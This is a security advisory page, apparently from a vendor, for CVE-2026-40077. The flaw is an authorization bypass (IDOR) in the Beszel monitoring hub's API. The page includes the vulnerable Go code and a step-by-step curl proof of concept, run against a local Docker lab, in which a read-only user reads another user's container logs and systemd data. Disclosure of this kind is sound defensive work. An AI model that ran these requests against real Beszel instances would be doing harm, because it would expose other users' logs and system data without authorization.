CVE-2026-40077 — beszel
LOWCVE-2026-40077 is a low-severity (CVSS 3.5) CWE-184 vulnerability in github.com/henrygd/beszel. A fix is available for github.com/henrygd/beszel — see the affected versions and patch details below.
Beszel has an IDOR in hub API endpoints that read system ID from URL parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40077.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40077 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/henrygd/beszelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.
System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.
Affected Component
- File:
internal/hub/api.go, lines 283–361 - Endpoints:
GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_IDGET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_IDGET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAMEPOST /api/beszel/smart/refresh?system=SYSTEM_ID
- Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84
Vulnerable Code
The containerRequestHandler function retrieves a system by ID but never verifies the authenticated user is a member of that system:
// internal/hub/api.go:283-305
func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {
systemID := e.Request.URL.Query().Get("system")
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" {
return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"})
}
if !containerIDPattern.MatchString(containerID) {
return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"})
}
system, err := h.sm.GetSystem(systemID)
// ^^^ No authorization check: e.Auth.Id is never verified against system.users
if err != nil {
return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"})
}
data, err := fetchFunc(system, containerID)
if err != nil {
return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()})
}
return e.JSON(http.StatusOK, map[string]string{responseKey: data})
}
The same pattern applies to getSystemdInfo (lines 322–340) and refreshSmartData (lines 342–361).
Meanwhile, the standard PocketBase collection API enforces proper membership checks:
// internal/hub/collections.go:56-57
systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id"
systemMemberRule := authenticatedRule + " && system.users.id ?= @request.auth.id"
These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on apiAuth.
PoC
The proof: The standard PocketBase API returns 404 (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.
Step 1: Start the hub
cd ~/Evidence/henrygd/beszel/finding418/docker-poc/
docker compose up -d
Wait a few seconds, then verify:
curl -s http://localhost:8090/api/health
Expected: {"message":"API is healthy.","code":200,"data":{}}
Step 2: Create User A (admin)
Open http://localhost:8090 in a browser and create the first user:
- Email:
[email protected] - Password:
testpassword1
Step 3: Create User B (readonly)
In the Beszel UI, go to Users and add a new user:
- Email:
[email protected] - Password:
testpassword2 - Role: readonly
Step 4: Authenticate as User A
TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
-H "Content-Type: application/json" \
-d '{"identity":"[email protected]","password":"testpassword1"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "TOKEN_A=$TOKEN_A"
Step 5: Get hub public key
HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['key'])")
echo "HUB_KEY=$HUB_KEY"
Step 6: Create a universal token and start the agent
UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "UTOK_A=$UTOK_A"
Find the Docker network the hub is on:
NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
echo "Network: $NETWORK"
Start the agent on the same network so the hub can reach it:
docker run -d --name beszel-agent-a \
--network "$NETWORK" \
-e HUB_URL=http://beszel-hub:8090 \
-e TOKEN="$UTOK_A" \
-e KEY="$HUB_KEY" \
henrygd/beszel-agent:latest
Wait a few seconds for the agent to register:
sleep 5
Step 7: Verify User A sees the system
curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_A" | python3 -m json.tool
You should see one system in items. Save the system ID:
SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])")
echo "SYSTEM_A_ID=$SYSTEM_A_ID"
Step 8: Authenticate as User B (readonly)
TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
-H "Content-Type: application/json" \
-d '{"identity":"[email protected]","password":"testpassword2"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "TOKEN_B=$TOKEN_B"
Verify User B sees NO systems:
curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: "totalItems": 0
Step 9: Control test — standard API blocks User B
echo "=== Standard PocketBase API ==="
curl -s -w "\nHTTP Status: %{http_code}\n" \
"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \
-H "Authorization: $TOKEN_B"
Expected: 404 — RBAC correctly hides the system from User B.
Step 10: IDOR — SMART refresh (User B triggers action on User A's system)
echo "=== IDOR: POST /api/beszel/smart/refresh ==="
curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \
-X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.
Step 11: IDOR — Systemd info (User B reads from User A's system)
echo "=== IDOR: GET /api/beszel/systemd/info ==="
curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: Hub contacts the agent and returns systemd data or an agent-level error.
Step 12: IDOR — Container logs (User B reads from User A's system)
Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:
# Get a real container ID from Docker (first 12 hex chars)
CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)
echo "CONTAINER_ID=$CONTAINER_ID"
echo "=== IDOR: GET /api/beszel/containers/logs ==="
curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Step 13: IDOR — Container info (User B reads from User A's system)
echo "=== IDOR: GET /api/beszel/containers/info ==="
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Impact
- Container logs: Content of recent application logs, potentially including sensitive information
- Container info: Content of Docker engine API's
/containers/{id}/jsonendpoint, excluding environment variables - Systemd info: Unit properties and status for any monitored service
- SMART refresh: Trigger a SMART data update on any system
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/henrygd/beszel | all versions | 0.18.7go get github.com/henrygd/beszel@v0.18.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/henrygd/beszel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/henrygd/beszel to 0.18.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40077 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40077 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40077. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40077 in your dependencies?
O3 Security finds CVE-2026-40077 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.